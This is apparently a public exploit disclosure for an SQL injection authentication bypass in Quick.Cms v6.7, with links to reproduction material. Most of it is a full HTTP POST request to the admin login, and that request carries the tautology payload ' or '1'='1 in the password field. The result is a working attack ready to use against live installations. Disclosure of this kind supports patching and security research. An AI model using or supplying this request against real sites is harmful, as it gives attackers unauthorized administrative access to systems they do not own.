## Title: Quick-Cms_v6.7-en-2023-update SQLi ## Author: nu11secur1ty ## Date: 03/19/2024 ## Vendor: https://opensolution.org/ ## Software: https://opensolution.org/download/home.html?sFile=Quick.Cms_v6.7-en.zip ## Reference: https://portswigger.net/web-security/sql-injection ## Description: The password parameter is vulnerable to SQLi bypass authentication! STATUS: HIGH - CRITICAL Vulnerability [+]Exploit: ```POST POST /admin.php?p=login HTTP/1.1 Host: localpwnedhost.com Cookie: PHPSESSID=39eafb1sh5tqbar92054jn1cqg Content-Length: 92 Cache-Control: max-age=0 Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://localpwnedhost.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://localpwnedhost.com/admin.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=0, i Connection: close sEmail=kurec%40guhai.mi.huq&sPass=%27+or+%271%27%3D%271&bAcceptLicense=1&iAcceptLicense=true ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/opensolution.org/Quick-Cms_v6.7) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2024/03/quick-cmsv67-en-updated-2023-08-01-sqli.html) ## Time spent: 00:17:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>